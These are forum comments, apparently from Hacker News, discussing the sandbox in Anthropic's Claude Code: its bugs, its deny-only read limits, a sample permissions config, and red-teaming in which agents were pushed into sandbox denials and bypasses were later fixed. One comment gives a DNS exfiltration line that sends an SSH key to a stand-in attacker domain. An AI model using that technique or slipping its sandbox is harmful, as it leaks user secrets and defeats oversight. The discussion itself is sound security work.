sandbox-runtime

FYI the sandbox feature is not fully baked and does not seem to be high priority. For example, for the last 3 weeks using the sandbox on Linux will almost-always litter your repo root with a bunch of write-protected trash files[0] - there are 2 PRs open to fix it, but Anthropic employees have so far entirely ignored both the issue and the PRs. Very frustrating, since models sometimes accidentally commit those files, so you have to add a bunch of junk to your gitignore. And with claude code being closed source and distributed as a bun standalone executable it's difficult to patch the bug yourself. [0]: https://github.com/anthropic-experimental/sandbox-runtime/is...

pretty close to anthropic’s version, yes? or am I mistaken https://github.com/anthropic-experimental/sandbox-runtime

There has been a lot of examples of how to sandbox Claude Code and other agentic tools on HN lately. I decided to look into the options and realized Claude Caude already has a sandbox feature that I never saw mentioned among the suggestions. It uses bubblewrap/sandbox-exec[0] and is baked into Claude Code itself. Does anyone have experience with it compared to more DIY options? The obvious downside I can see is I need to put all my trust in Claude Code as compared to running it completely inside some environment.. [0] https://github.com/anthropic-experimental/sandbox-runtime

/sandbox AFAIK uses https://github.com/anthropic-experimental/sandbox-runtime under the hood. It's still experimental and if you dive into the issues I would call its protection light. Many users experiences erratic issues with perms not being enforced, etc. For me the largest limitation was that it's read-mode is deny-only, meaning that with an empty deny-list it can read all files on your laptop. Restricting to specific domains have worked fine for me, but it can't block on specific ports, so you can't say for instance you may access these dev-server ports, but not dev-server ports belonging to another sandbox. It feels as though the primary usecase is running inside an already network and filesystem sandboxed container.

Check out https://github.com/anthropic-experimental/sandbox-runtime, which tackles this problem using the built-in userspace sandboxing on macOS and Linux. I run Claude from a mounted volume (but no reason you couldn't make a user for it instead) since the Deny(~) makes it impossible to run from the normal locations. export CLAUDE_CONFIG_DIR=/Volumes/Claude/.claude Minimal .claude/settings.local.json: { "permissions": { "allow": [ "Read(/)", "Read(~/.claude/shell-snapshots/\*)", "WebSearch", "WebFetch(domain:example.com)" ], "deny": [ "Read(~)", "Write(/.claude/settings.local.json)", "Write(/method_filter.py)" ] }, "sandbox": { "enabled": true, "autoAllowBashIfSandboxed": true, "allowUnsandbox

> By default, all network access is denied. Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the information to evil.com servers.

Worth calling out that execution runs in a full virtual machine with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime. There is much more to do - and our docs reflect how early this is - but we're investing in making progress towards something that's "safe".

You're right that a Podman container with minimal mounts would have blocked the env var leak. Our sandbox uses OS-level policy enforcement (Seatbelt on macOS, bubblewrap on Linux) rather than full container isolation. We’re using a minimal fork that also works w Codex and has a lot more logging on top. The tradeoff is intentional, a lot of people want lightweight sandboxing without Docker/Podman overhead. The downside is what you're pointing out, you have to be more careful. Each bypass in the post led to a policy or implementation change. So, this is no longer an issue. On prompts: Red-teaming meant setting up scenarios likely to trigger denials (e.g., blocking the npm registry, then asking for a build), not prompt-injecting things like “do whatever it takes.” [1] https://github.com/anthropic-experimental/sandbox-runtime